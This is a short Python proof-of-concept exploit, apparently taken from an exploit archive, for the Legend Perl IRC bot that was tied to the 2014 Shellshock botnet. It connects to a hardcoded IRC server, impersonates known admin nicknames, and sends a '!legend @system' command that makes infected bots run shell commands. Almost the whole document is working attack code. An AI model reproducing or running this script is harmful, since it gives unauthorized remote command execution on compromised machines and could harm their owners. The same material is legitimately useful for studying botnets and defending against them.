Legend Perl IRC Bot Remote Code Execution Exlpoit

#

# legend_rce.py

# Legend Perl IRC Bot Remote Code Execution PoC

# author: Jay Turla ( @shipcod3 )

# description: This is a RCE PoC for Legend Bot which has been used in the Shellshock spam October 2014.

# reference: http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html

# greetz to ROOTCON (rootcon.org) goons

#

import socket

import sys

def usage():

print("USAGE: python legend_rce.py nick")

print("Sample nicks found in the wild: god, ARZ, Zax, HackTech, TheChozen")

def main(argv):

if len(argv) < 2:

return usage()

#irc server connection settings

botnick = sys.argv[1] #admin payload for taking over the Legend Bot

server = "80.246.50.71" #irc server

channel = "#Apache" #channel where the bot is located

irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket

print "connecting to:"+server

irc.connect((server, 2015)) #connects to the server, you can change the port by changing 2015 for example :)

irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :legend.rocks\n") #user authentication

irc.send("NICK "+ botnick +"\n") #sets nick

irc.send("JOIN "+ channel +"\n") #join the chan

irc.send("PRIVMSG "+channel+" :!legend @system 'uname -a' \n") #send the payload to the bot

while 1: #puts it in a loop

text=irc.recv(2040) #receive the text

print text #print text to console

if text.find('PING') != -1: #check if 'PING' is found

irc.send('PONG ' + text.split() [1] + '\r\n') #returns 'PONG' back to the server (prevents pinging out!)

if text.find('!quit') != -1: #quit the Bot

irc.send ("QUIT\r\n")

sys.exit()

if text.find('Linux') != -1:

irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")

irc.send ("QUIT\r\n")

sys.exit()

if __name__ == "__main__":

main(sys.argv)

Rating